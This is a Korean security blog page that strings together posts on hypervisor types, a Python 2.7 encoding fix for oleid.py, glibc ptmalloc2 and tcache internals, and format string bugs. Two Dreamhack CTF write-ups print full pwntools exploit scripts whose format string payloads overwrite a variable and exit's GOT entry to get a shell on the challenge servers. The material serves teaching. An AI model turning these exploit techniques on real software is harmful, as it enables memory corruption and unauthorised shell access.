하이퍼바이저 (Hypervisor)

하이퍼바이저란 호스트 컴퓨터에서 다수의 가상 머신을 생성하고 관리하기 위한 가상화 플랫폼을 말하며,  가상화 머신 모니터(virtual machine monitor, VMM)라고도 한다. 이는 한정된 리소스를 가지고 여러 운영체제를 사용하고자 할 때 사용한다.

 

하이퍼바이저는 물리적 하드웨어와 가상 머신의 영역을 분리하여 가상화를 구현하며, 각 가상 머신의 리소스 사용을 관리한다.

 

이러한 하이퍼바이저의 유형은 두 가지로 나뉜다.

 


 

유형 1. 호스트 하이퍼바이저 (Host Hypervisor)

호스트 하이퍼바이저는 개인 컴퓨터 사용자가 자신의 운영체제 위에서 또 다른 운영체제를 사용하고자 할 때 많이 사용하는 VMware를 생각하면 이해하기 쉽다.

[그림] 호스트 하이퍼바이저

 

호스트 하이퍼바이저는 호스트 운영체제 위에서 구동되며, 호스트 운영체제에 의해 가상 머신의 리소스가 하드웨어에 예약된다. 전체적으로 하이퍼바이저의 하드웨어 사용이 호스트 운영체제에 의해 이루어진다.

 

이 때 하이퍼바이저는 소프트웨어 또는 어플리케이션 형태로 사용되며, 그 예로 우리가 자주 사용하는 VMware Workstation, Oracle VM VirtualBox 등이 있다.

 


 

유형 2. 베어메탈 하이퍼바이저 (Bare-Metal Hypervisor)

반면, 베어메탈 하이퍼바이저는 많은 가상 머신을 다루어야 하는 기업용 엔터프라이즈 센터 및 서버 기반 환경에서 주로 사용하며 네이티브 하이퍼바이저(Native Hypervisor) 라고도 한다.

[그림] 베어메탈 하이퍼바이저

 

베어메탈 하이퍼바이저는 호스트 운영체제에 위에서 구동되는 호스트 하이퍼바이저와 달리, 하드웨어 위에서 직접 구동된다. 이 때 하이퍼바이저는 가상화 계층을 실행하는 특정 운영체제이다.

 

베어메탈 하이퍼바이저는 하드웨어 위에서 직접 구동되기 때문에, 직접 가상 머신의 리소스를 하드웨에 예약하고 사용울 관리한다.

 

베어메탈 하이퍼바이저의 예로 VMware의 ESXESXi, 오픈소스 Xen, 마이크로소프트의 Hyper-V 등이 있다.

 

 

| 문제

=> 한글이 포함된 파일을 인자로 사용 시 해당 에러가 발생 (*python 2.7.18)

oleid.py 실행 시 에러 출력 화면

 

 

 

| 해결 방법

=> 에러가 발생한 파이썬 파일의 코드 수정

 

1) oleid.py을 열어 "#from __future__ import absolute_import" 문자열을 찾는다.

oleid.py 파일 내 코드 수정 전

 

 

2) 아래의 코드를 "#from __future__ import absolute_import" 문자열 바로 밑에 작성한 뒤 저장한다.

  (* 아래의 코드는 해당 문자열 보다 윗부분에 위치해야함, 해당 코드가 없는 경우 파일의 맨 위에 작성)

#-*- encoding: utf-8 -*-

import sys
reload(sys)
sys.setdefaultencoding('cp949')

oleid.py 파일 내 코드 수정 후

 

 

다음과 같이 에러가 해결된 것을 확인할 수 있다.

에러 해결 후 oleid.py 실행 화면

 

'보안 > 기타' 카테고리의 다른 글

하이퍼바이저 개념 및 유형  (0) 2024.04.12

 

Linux의 동적 메모리 관리 프로세스 ptmalloc2의 주요 객체와 Tcache의 구성요소 및 동작과정

 

 

 

개요

 

 

 

운영체제에서 한정된 메모리 자원을 각 프로세스에 효율적으로 배분하는 일은 필수적인데, 이러한 역할을 해주는 것을 Memory Allocator라고 한다.

 

 

Memory Allocator는 사용되는 알고리즘에 따라 여러 종류가 있는데, Linux에서는 GLibc로 구현된 ptmalloc2를 사용한다. ptmalloc2는 프로세스 메모리의 Heap 영역에서, 동적으로 할당되고 해제되는 메모리 영역을 관리하여 메모리 할당의 속도를 향상하며 메모리의 낭비를 막아준다.

 

 

참고로 GLibc(GNU C Library)는 리눅스에서 가장 많이 사용되는 Libc(표준 C 라이브러리)이며 scanf, printf, malloc, free 등 기본적으로 필요한 함수들을 제공한다. 일반적으로 우리가 C언어를 작성할 때 사용하는 #include<stdio.h>가 있다.

 

 

 

 

 

 

 


ptmalloc2의 주요 객체

 

 

 

ptmalloc2가 관리하는 주요 객체로는 Chunk, Bin, Arena, Tcache가 있다. 여기서는 64bit 환경을 기준으로 소개한다.

 

1) Chunk

청크(Chunk)는 ptmalloc2이 할당한 메모리 공간을 말하며, 헤더와 데이터로 구성된다. 또한 청크는 메모리 동적 할당 시 Heap 영역에 생성되며, 해제 시 저장소에 보관되어 이후 같은 크기의 청크를 다시 할당하고자 할 때 보관된 청크를 다시 사용한다.

 

사용중인 청크와 해제된 청크의 구조

 

헤더 구성 크기
(64bit 기준)
설명
prev_size 8byte 인접한 직전 청크의 크기, 청크 병합 시 직전 청크를 찾는데 사용 
size 8byte 현재 청크의 크기, 64bit 환경에서 하위 3bit는 청크 관리를 위한 flag로 사용
fd 8byte 연결 리스트에서 다음 청크의 주소
bk 8byte 연결 리스트에서 이전 청크의 주소

 

Heap 영역에 할당되어 사용중인 청크가 해제되면, 해제되는 청크의 헤더 부분에 fd와 bk 구성이 추가된다. 이는 연결 리스트(free list) 방식으로 관리되는 저장소에서 각각 다음 청크의 주소와 이전 청크의 주소를 가리키며 해제된 청크의 관리를 용이하게 한다.

 

 

 

 

2) Bin

Bin은 해제된 청크들을 보관하는 free list 구조체이며, 사용이 끝난 해제된 청크들이 보관된다. 청크의 크기에 따라 Fast bin, Small bin, Large bin, Unsorted bin으로 분류되며, 크게 두 개의 배열로 나뉘어 보관된다.

 

Arena의 Bin 구조

 

종류 개수 보관되는 청크의 크기
(64bit 기준)
병합 여부 보관 방식
Fast bin 10개
(7개만 사용)
32byte 이상
128byte 이하의 청크
X 단일 연결 리스트
(LIFO, Last In First Out)
Small bin 62개 32byte 이상
1,024byte 미만의 청크
O 원형 이중 연결 리스트
(FIFO, First In First Out)
Large bin 63개 1,024byte 이상의 청크 O
Unsorted bin 1개 Small bin / Large bin
(분류되지 않은 청크 보관)
-

 

Fast bin은 작은 크기의 청크들을 관리하며 속도 및 효율성을 향상하기 위해 인접한 청크가 있어도 병합 과정을 진행하지 않는다. 또한 Unsorted bin에는 분류되지 못한 청크들이 존재하며, 이후 탐색된 청크들이 크기에 맞게 Small bin 또는 Large bin으로 분류된다. 이렇게 분류된 Small binLarge bin은 인접한 청크가 있으면 병합 과정을 수행하여 메모리의 단편화를 방지한다.

 

 

 

 

3) Arena

Arena는 서로 다른 메모리 영역을 공유하며 사용할 수 있도록 도와주는 Heap 영역이다. 이는 멀티 스레드 환경에서 한 스레드가 공유 자원을 독점하는 것을 막기 위해 도입된 개념으로 fastbin, smallbin, largebin 등의 정보를 모두 담고 있다. 여기서 ptmalloc2는 멀티 스레드 환경에서 자원의 독점을 막기 위하여 최대 64개의 Arena를 생성할 수 있도록 한다.

 

 

 

 

 

 

 


Tcache란?

 

 

 

ptmalloc2에서 Arena는 최대 64개를 생성할 수 있다고 하였다. 그러나 64개만으로도 충분하지 못할 경우가 생기는데, 이를 해결하기 위하여 GLibc2.26부터 Tcache라는 기술이 도입되었다.

 

 

Tcache(Thread local Caching)란 각 스레드 내에서 해제된 청크를 보관하는 저장소를 말하며, 해제된 청크를 Arena가 아닌 스레드 내 독립적으로 보관하고 재사용하며 Heap 영역의 작업을 효율적으로 도와준다.

 

 

각 스레드 별로 최대 64개의 Tcache bin을 생성할 수 있으며, 하나의 Tcache bin에는 최대 7개의 청크를 보관할 수 있다. 7개가 모두 사용되면 그 이후의 해제된 청크는 Arena의 영역에서 관리하게 된다.

 

종류 개수 보관되는 청크의 크기
(64bit 기준)
병합 여부 보관 방식
Tcache bin 64개
(1개당 7개의 청크)
24byte 이상
1032byte 이하의 청크
X 단일 연결 리스트
(LIFO, Last In First Out)

 

 

 

또한, Tcache bin에 있는 청크들을 Arena의 bin에 있는 청크들과는 다른 헤더 구조를 가진다. Tcache bin은 next라는 포인터 변수를 사용하여 동일한 크기의 청크들을 연결하여 관리한다.

 

Tcache에서의 해제된 청크 구조

 

 

 

 

 

 

 


Tcache의 구성요소 및 동작과정

 

 

 

Tcache bin은 tcache_entry 및 tcache_perthread_struct 구조체로 보관되며, Tcache의 여러 함수를 통해 각 구조체를 생성하고 관리된다.

 

 

tcache_entry

각 Tcache bin은 tcache_entry라는 구조체로 관리되며, 최대 7개의 같은 크기를 갖는 청크들이 next 포인터를 통해 연결된다.

 

tcache_entry의 구조

 

 

tcache_perthread_struct

또한, 이러한 64개의 Tcache bin, 즉 64개의 tcache_entry를 tcache_perthread_struct라는 구조체를 통해 관리한다. 해당 구조체는 두 개의 배열을 가지는데, 서로 다른 크기의 청크들을 가지는 tcache_entry를 entries[ ] 배열에 차례대로 보관하며, counts[ ] 배열에 해당 엔트리가 가지는 청크의 개수를 기록한다.

 

tcache_perthread_struct의 구조

 

 

이러한 구조체는 Tcache에서 아래와 같은 주요 함수들을 통해 생성되며 관리된다.

 

  • tcache_init(void) : tcache_perthread_struct를 생성한다.
  • tcache_get(size_t tc_idx) : tcache list에 있는 청크의 연결을 끊고 반환값으로 청크의 주소를 반환한다.
  • tcache_put(mchunkptr chunk, size_t tc_idx) : tcache list에 해제된 청크를 넣고 이전 청크와 연결한다.

 

 

여기서 tcache_get( )의 경우, tcache_perthread_struct에서 배열의 인덱스를 가리키는 tc_idx의 값을 검사하여 음수가 되거나 배열의 범위를 벗어나게 되면 프로그램을 종료한다.

 

 

 

 

 

64bit 환경의 바이너리에서 FSB 취약점을 이용하여 특정 주소에 원하는 값을 입력하는 방법

 

 

 

문제 분석

 

 

 

 1) Environment

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

 

  • 64bit 환경 바이너리
  • GOT 영역의 수정이 불가한 Full RELRO 보호기법
  • 코드 섹션 외 모든 영역의 실행 권한이 제거된 NX 보호기법
  • 코드 영역이 실행 시마다 임의의 주소에 할당되는 PIE 보호기법

 

 

 

 

 2) Source Code

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

 

 

 

해당 소스 코드는 무한으로 사용자의 입력값을 받고 출력하며, 변수 changeme의 값이 정수 1337일 경우 셸을 실행한다. 

 

 

 

또한 main() 함수 내에 있는 printf() 함수에서 FSB(Format String Buf) 취약점이 발생하므로, 이것을 통해 변수 changeme의 값을 1337로 Overwrite 하여 셸을 획득할 수 있다.

 

 

 

 

 

 


문제 풀이

 

 

 

1. Base 주소 및 변수 changeme의 주소 구하기

 

 

 

PIE 보호 기법으로 인해 바이너리 실행마다 코드 영역의 주소가 바뀌기 때문에 우선적으로 코드 영역의 베이스 주소를 구할 수 있어야 한다.

 

 

 

우선 pwndbg를 통해 ./fsb_overwrite 바이너리를 실행한 후, 임의의 입력값 넣고 스택의 구조를 확인한다.

 

_start() 함수의 주소가 존재하는 스택의 구조

 

 

 

스택의 세 번째 위치인 rsp+24 즉, 9번째 인자에 _start() 함수의 주소값이 존재하는 것을 확인할 수 있다.

_start()의 절대 주소 : 0x555555400730

 

 

 

_start() 함수는 바이너리가 시작될 때 호출되는 함수로, 바이너리에 내장된 함수이다. 따라서 해당 함수의 주소값을 이용하면 코드 영역의 베이스 주소 및 changeme 변수의 주소를 구할 수 있다.

 

 

 

_start() 함수 및 changeme 변수의 상대 주소는 파이썬 모듈 pwntools를 통해 확인할 수 있다.

· _start()의 상대 주소 : 0x730
· changeme의 상대 주소 : 0x20101c

 

pwntools를 통해 확인한 ./fsb_overwrite의 함수 및 변수의 상대 주소

 

 

 

_start() 함수의 절대 주소값에서 상대 주소값을 빼면 코드 영역의 베이스 주소를 획득할 수 있다.

base 주소 : 0x555555400000

 

 

 

실제로 pwndbg를 통해 코드 영역의 베이스 주소값을 다음과 같이 확인할 수 있는데, 앞에서 구한 값과 동일한 것을 확인할 수 있다.

 

pwndbg를 통해 확인한 바이너리의 베이스 주소

 

 

 

이후 베이스 주소값에 changeme 변수의 상대 주소값을 더해주면 해당 변수의 절대 위치를 구할 수 있다.

changeme의 절대 주소 : 0x55555560101c

 

 

 

 

 

2. 변수 changeme에 값 덮어쓰기

 

 

 

64bit 환경에서 포맷 스트링 함수의 인자 호출 시, 레지스터 rdi, rsi, rdx, rcx, r8, r9 값을 차례대로 가져오며 이후의 인자값은 스택을 통해 8byte 단위로 가져온다.

 

 

 

그렇기 때문에 64bit 환경에서 원하는 주소에 값을 쓰기 위해서,

레지스터에 위치하는 1~6번째 인자 이후인 스택에 위치하는 인자들을 가져와야 한다.

 

 

 

소스 코드에서 read() 함수는 한번에 32byte만큼의 값을 입력받는다. 32byte의 값을 입력했을 때 스택 구조는 다음과 같다.

Input : AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

 

0x20 크기만큼의 입력값을 주었을 때 스택 구조

 

 

 

8byte 씩 네 개의 스택에 걸쳐 쌓이게 되며 네 번째 스택의 값인 rsp+32 위치의 스택에 8byte 크기의 입력값이 들어간 것을 확인할 수 있다. 따라서 해당 위치에 changeme의 주소값 8byte를 넣으면 인자값으로 주소값 8byte를 가져올 수 있다.

 

 

 

rsp+8 위치부터 각각 포맷 스트링 함수의 7번째, 8번째, 9번째 인자가 되므로, 변수 changeme의 주소값이 들어가는 rsp+32 위치의 스택은 포맷 스트링 함수의 9번째 인자가 된다.

 

 

 

따라서 아래와 같은 입력값을 통해 changeme 변수의 주소에 원하는 값인 정수 1337을 덮어쓸 수 있다.

 

 

 

 

 

 


익스플로잇

 

 

 

  • 첫 번째 입력값을 통해 _start() 함수의 주소값을 획득할 수 있으므로, 이를 이용해 코드 영역의 베이스 주소를 계산
  • [changeme 변수의 절대 주소] = [바이너리의 베이스 주소] + [changeme 변수의 상대 위치] 를 계산
#_start() 함수의 주소값 획득
payload = b"AAAAAAAA%9$p"
p.send(payload)
p.recvuntil("AAAAAAAA")
start = int(p.recvn(14), 16)


#Base 주소 및 changeme 변수의 주소 계산
base_addr = start - e.symbols["_start"]
changeme = base_addr + e.symbols["changeme"]

 

익스플로잇을 통해 확인한 베이스 주소 및 변수 주소

 

 

 

 

  • 두 번째 입력값을 통해 변수 changeme의 값을 정수 1337로 조작하여 셸 획득
#changeme 변수의 주소에 값 덮어쓰기
payload = b"%1337c%9$n              " #size:0x18
payload += p64(changeme)              #size:0x8
p.send(payload)

 

익스플로잇을 통해 셸을 획득한 결과 화면

 

 

 

 

최종적으로 python3과 pwntools 모듈을 이용한 익스플로잇 코드는 다음과 같다.

from pwn import *


def slog(name, addr):
	return success(": ".join([name, hex(addr)]))


p = remote("host3.dreamhack.games", 20148)
e = ELF("./fsb_overwrite")


#1._start() 함수의 주소값 획득
payload = b"AAAAAAAA%9$p"
p.send(payload)
p.recvuntil("AAAAAAAA")
start = int(p.recvn(14), 16)


#2.Base 주소 및 changeme 변수의 주소 계산
base_addr = start - e.symbols["_start"]
changeme = base_addr + e.symbols["changeme"]

slog("_start", start)
slog("base_addr", base_addr)
slog("changeme", changeme)


#3.changeme 변수의 주소에 값 덮어쓰기
payload = b"%1337c%9$n              " #size:0x18
payload += p64(changeme)              #size:0x8
p.send(payload)


p.interactive()

 

 

 

 

 

 


참고) 포맷 스트링 버그(Format String Bug, FSB) 개념 및 원리

포맷 스트링 버그(Format String Bug, FSB) 취약점

 

 

 

 

 

32bit 환경의 바이너리에서 FSB 취약점을 이용하여 특정 주소에 원하는 값을 입력하는 방법

 

 

 

문제 분석

 

 

 

 1) Environment

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

 

 

주어진 바이너리는 32bit 환경의 실행파일이다. Partial RELRO 보호기법이 적용되어 있으므로 GOT 값을 덮어쓸 수 있으며, PIE 보호기법이 적용되어있지 않아 코드 영역의 주소가 고정되어 있음을 알 수 있다.

 

 

 

 

 2) Source Code

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

 

 

 

해당 소스 코드를 살펴보면 main() 함수 내에 있는 printf() 함수에서 FSB(Format String Buf) 취약점이 발생한다.

 

 

 

또한 셸을 호출하는 get_shell() 함수를 소스 코드 내 정의하고 있으므로, FSB 취약점을 통해 exit() 함수의 GOT에 get_shell() 함수의 주소값을 덮어씌우면 을 획득할 수 있다.

 

 

 

 

 

 


문제 풀이

 

 

 

먼저 pwndbg를 통해 get_shell() 함수의 주소를 확인한다.

get_shell() : 0x08048609

 

pwndbg를 통해 확인한 get_shell() 함수의 주소

 

 

 

get_shell() 함수의 주소값을 넣어줄 <exit@got.plt>의 주소도 확인해 준다.

<exit@got.plt> : 0x0804a024

 

pwndbg를 통해 확인한 <exit@got.plt>의 주소

 

 

 

이제 취약점을 통해 read() 함수를 통해 형식 지정자 %n을 이용하여 exit()의 GOT 값을 get_shell()의 주소값으로 덮어쓰는 페이로드를 작성할 수 있다.

 

 

 

그러나, get_shell()의 4byte의 주소의 값을 그대로 덮어 쓰려하면 범위를 벗어나기 때문에 2byte씩 나누어 써주어야 한다. 이때 4byte씩 덮어쓰는 %n이 아닌 2byte씩 덮어쓰는 %hn을 사용한다.

Input : [값을 넣을 주소]%[참조할 인자의 인덱스]$n                                                                   => [X]
Input : [값을 넣을 주소][값을 넣을 주소]%[참조할 인자의 인덱스]$hn%[참조할 인자의 인덱스]$hn        => [O]

 

 

 

또한 리틀엔디안 방식이므로 get_shell() 함수의 상위 2byte 주소값을 <exit@got.plt+2>에, 하위 2byte 주소값을 <exit@got.plt>에 써주어야 한다. 이후 소스 코드의 흐름을 따라 exit() 함수가 호출되면, 변조된 GOT 값을 통해 get_shell() 함수가 호출되어 셸을 획득할 수 있다.

 

GOT Overwite를 통해 셸을 호출하는 과정

 

 

 

get_shell() 함수의 주소값을 2byte씩 나누어 <exit@got.plt+2>, <exit@got.plt> 주소에 각각 덮어쓰기를 할 것이므로, 바이너리를 실행하여 다음과 같이 8byte 크기의 문자열을 형식 지정자와 같이 입력하여 입력한 값이 저장되는 위치를 확인한다.

Input : AAAABBBB %p %p %p %p %p

 

./fsb002의 출력 결과를 통해 확인한 스택값
pwndbg를 통해 확인한 ./fsb002의 스택 구조

 

 

출력 결과 및 스택 값을 살펴보면, 첫 번째 위치부터 입력값이 순차적으로 들어있음을 확인할 수 있다. "AAAABBBB" 대신 exit() 함수의 GOT 주소값을 나누어 넣어주고 형식 지정자 %hn을 사용하면 해당 주소에 있는 값을 조작할 수 있다.

 

 

 

 

다음과 같은 형식으로 입력하면 exit() 함수의 GOT 주소에 get_shell() 함수 주소값을 덮어쓸 수 있다.

 

  • <exit@got.plt+2> : exit() 함수의 got 주소에서 2byte 뒤에 있는 주소값 4byte
  • <exit@got.plt> : exit() 함수의 got 주소값 4byte
  • x : get_shell() 함수 주소값의 상위 2byte (int형)
  • y : get_shell() 함수 주소값 하위 2byte (int)

 

 

이후 exit() 함수가 호출되면 조작된 GOT 값을 통해 셸이 실행된다.

 

 

 

 

 

 


익스플로잇

 

 

 

python3과 pwntools 모듈을 이용한 최종 익스플로잇 코드는 다음과 같다. 아래와 같이 GOT의 값은 모듈 내장 함수를 사용하여 획득할 수도 있다.

 

from pwn import *

p = remote("host3.dreamhack.games", 18047)
e = ELF("./fsb002")

exit_got = e.got["exit"]

payload = p32(exit_got+2) + p32(exit_got)
payload += b"%2044c%1$hn%32261c%2$hn"

p.sendline(payload)

p.interactive()

 

 

 

 

 

 


 

참고) 포맷 스트링 버그(Format String Bug, FSB) 개념 및 원리

포맷 스트링 버그(Format String Bug, FSB) 취약점

 

 

포맷 스트링의 개념 및 구성요소 & FSB 취약점의 개념 및 원리

 

 

 

개요

 

 

 

C언어에서 데이터를 출력하기 위해 사용하는 대표적인 함수로는 printf()가 있다. 해당 함수는 데이터를 출력하기 위해 다음과 같이 포맷 스트링(Format String)이라는 형식을 사용한다.

 

 

포맷 스트링을 사용한 printf() 함수의 출력

 

 

 

이러한 포맷 스트링을 사용하는 함수들을 올바르게 사용하지 못할 경우 발생하게 되는 취약점이 포맷 스트링 버그(Format String Bug, FSB)다.

 

 

 

포맷 스트링 버그 취약점을 이용하면 레지스터 및 스택의 값을 조회할 수 있어 메모리가 노출되는 위험이 발생한다. 포맷 스트링 버그를 알아보기 전에, 우선 포맷 스트링이 무엇인지 알아보자.

 

 

 

 

 

 

 


포맷 스트링(Format String)이란?

 

 

 

포맷 스트링(Format String)은 프로그래밍 시 C언어의 scanf(), sscanf(), fscanf(), printf(), sprintf(), fprintf()와 같은 함수를 사용하여 데이터를 입·출력할 때 지정하는 형식을 말하며, 기본 형식은 다음과 같다.

 

%[parameter][flag][width][.precision]Conversion

 

 

 

 

1. Conversion

%[parameter][flag][width][.precision]Conversion

 

-> 서식 지정자(Conversion)는 데이터의 출력 형식을 지정한다. 아래의 표와 예시를 보면, 데이터의 출력 형식을 지정하는 것뿐 아니라 원하는 주소에 데이터를 입력할 수도 있다.

 

[ 종류 ]

 

%d   부호 있는 10진수 출력
%u   부호 없는 10진수 출력
%x   부호 없는 16진수 출력
%c   하나의 문자  출력
%s   문자열  출력
%p   포인터가 가리키는 주소  출력
%n   이전까지 출력한 바이트 수를 포인터가 가리키는 주소에 입력 (4byte)
%hn   이전까지 출력한 바이트 수를 포인터가 가리키는 주소에 입력 (2byte)
%hhn   이전까지 출력한 바이트 수를 포인터가 가리키는 주소에 입력 (1byte)

 

[ 예시 ]

 

#include <stdio.h>

int main(void) {
	char str[14] = "Hello, World!";
	int num = 1;

	printf("%d\n", -10);     // -10
	printf("%u\n", -10);     // 4294967286
	printf("%x\n", 'a');     // 61
	printf("%c\n", 'a');     // a
	printf("%s\n", str);     // Hello, World!
	printf("%p\n", str);     // 0x7fff413b3dfa
	printf("AAAA%n\n", &num); // AAAA
	printf("%d\n", num);     // 4

	return 0;
}

 

 

 

 

2. Parameter

%[parameter][flag][width][.precision]Conversion

 

-> 참조할 인자의 인덱스를 지정하며 해당 필드의 끝은 '$'로 표기한다.

 

[ 예시 ]

 

printf("%2$d, %1$d\n", 2, 1); // 1, 2

 

 

 

 

3. Flag

%[parameter][flag][width][.precision]Conversion

-> 출력 시 데이터를 정렬할 방식을 지정한다.

 

[ 종류 ]

 

0   출력 시 공백을 0으로 채움
+   출력 데이터를 오른쪽으로 정렬 ('+' 기호 포함 출력)
-   출력 데이터를 왼쪽으로 정렬 (생략 시 오른쪽 정렬)
,   출력 시 1000 단위로 구분 기호 삽입

 

 

 

 

4. Width

%[parameter][flag][width][.precision]Conversion

-> 출력 시 최소 너비를 지정하며, 출력 데이터가 최소 너비보다 짧을 시 공백문자로 패딩 한다.

 

[ 종류 ]

 

정수   정수의 값 만큼을 최소 너비로 지정
*   인자의 값 만큼을 최소 너비로 지정

 

 

 

 

5. Precision

%[parameter][flag][width][.precision]Conversion

-> 실수 출력 시 소수점의 자릿수를 설정하며, 해당 필드의 앞에 '.' 기호를 붙인다.

 

[ 예시 ]

 

printf("%.3f", 5.17489); // 5.174

 

 

 

 

 

 

 


포맷 스트링 버그(Format String Bug, FSB)란?

 

 

 

포맷 스트링 버그(Format String Bug, FSB)는 포맷 스트링을 사용하는 함수들을 올바르게 사용하지 못해 발생하게 되는 취약점이다.

 

 

 

포맷 스트링을 사용하는 함수의 올바른 사용은 포맷 스트링을 지정하고 사용하는 수만큼 그에 따른 올바른 형식의 인자를 지정해 주는 것이다. 아래의 코드와 같이 두 개의 printf() 함수들은 같은 결과 값을 출력하나, 두 번째의 printf() 함수에는 취약점이 존재한다.

 

 

#include <stdio.h>

int main() {
    char str[10];
    
    printf("%s", str); // 올바른 사용
    printf(str); // 올바르지 못한 사용
    
    return 0;
}

 

 

 

위의 두 번째 prnitf() 함수는 포맷 스트링 형식 사용 및 인자의 지정 없이 변수 str에 있는 값을 printf() 함수의 인자로 바로 가져온다.

 

 

 

만약 아래의 코드와 같이 해당 변수에 포맷 스트링 형식의 문자열이 존재할 경우, printf() 함수는 그것을 포맷 스트링 형식으로 인식하여 인자로 잘못된 값을 가져오는 버그가 발생하게 된다.

 

 

#include <stdio.h>

int main() {
    
    char str[0x10] = "%p";
    printf(str); // 0x7ffed79723b8
    
    return 0;
    
}

 

 

 

 

 

 

 


포맷 스트링 버그의 원리

 

 

 

포맷 스트링을 사용하는 함수들은 호출 시 포맷 스트링의 값을 채우기 위해 스택에 있는 값을 인자로 가져온다.

 

포맷 스트링의 인자값을 주었을 때 스택 구조

 

 

 

구체적으로 설명하면,

 

32bit는 인자를 스택에 쌓고, 64bit는 6개의 인자를 레지스터에 넣은 뒤 나머지 인자를 스택에 쌓기 때문에,

32bit의 경우 스택의 esp부터 4byte씩 뒤에 있는 위치에서 인자의 값을 가져오며, 64bit의 경우 레지스터의 값을 가져온 뒤 스택의 rsp부터 8byte씩 뒤에 있는 위치에서 인자의 값을 가져온다.

 

32bit   |    esp+4 -> esp+8 -> esp+12 -> esp+16 -> ···
64bit   |    rdi -> rsi -> rdx -> rcx -> r8 -> r9 -> rsp+8 -> rsp+16 -> ···

 

 

 

여기서 포맷 스트링을 사용하는 함수는 인자를 가져올 때 해당 위치의 스택 값을 검사하는 루틴 없이 위치값만을 참조하여 순서대로 가져오기 때문에,  인자를 요청할 때 주어진 인자값이 없다면 해당 위치의 스택 값을 인자로 가져오게 된다.

 

포맷 스트링의 인자값을 주지 않았을 때 스택 구조

 

 

 

그렇기 때문에 변수를 printf() 함수의 인자로 그대로 사용할 시, 악의적인 사용자가 해당 변수에 값을 입력할 수 있다면 포맷 스트링을 입력해 다수의 인자를 요청하여 메모리의 값을 읽어내는 것은 물론 조작까지 할 수 있다.

 

 

 

 

 

 

 


포맷 스트링 버그 공격 예시

 

 

 

  • 인자의 포인터 값을 출력해주는 '%p' 형식 지정자
  • 입력된 값의 바이트 수를 인자에 입력하는 '%n' 형식 지정자
  • 참조할 인자의 인덱스를 지정해주는 '$' 파라미터

 

 

위의 값을 이용하면 아래의 그림과 같이 원하는 인자의 값이 가리키는 주소에 값을 입력할 수 있다.

 

형식 지정자 '%n'을 이용해 원하는 값을 입력하는 문자열

 

 

 

 

위의 그림을 응용하여 원하는 주소를 스택에 넣고 '%p' 형식 지정자를 이용해 해당 입력값의 스택 위치를 찾은 다음,

 

형식 지정자 '%p'를 이용해 입력값의 스택 위치를 출력하는 과정

 

 

 

 

새로운 입력으로 원하는 주소를 스택에 넣고 해당 인자의 인덱스를 이용하면 원하는 주소에 원하는 값을 넣을 수 있다.

 

원하는 주소에 원하는 값을 입력하는 문자열

 

 

 

 

최종적으로, FSB 공격의 입력값을 아래와 같은 형식으로 정리할 수 있다. 해당 원리를 이용하면 FSB의 취약점을 통해 원하는 주소에 있는 값을 덮어쓰는 공격을 할 수 있다.

Input : [값을 넣을 주소]%[참조할 인자의 인덱스]$n

 

 

 

 

 

 

 


 

참고) 포맷 스트링 버그(Format String Bug, FSB) 실습 링크

 

- 32bit 환경

[Dreamhack] basic_exploitation_002 풀이 - 포맷 스트링 버그(Format String Bug, FSB) 실습 / 32bit 환경

 

- 64bit 환경

[Dreamhack] Format String Bug 풀이 - 포맷 스트링 버그(Format String Bug, FSB) 실습 / 64bit 환경

 

+ Recent posts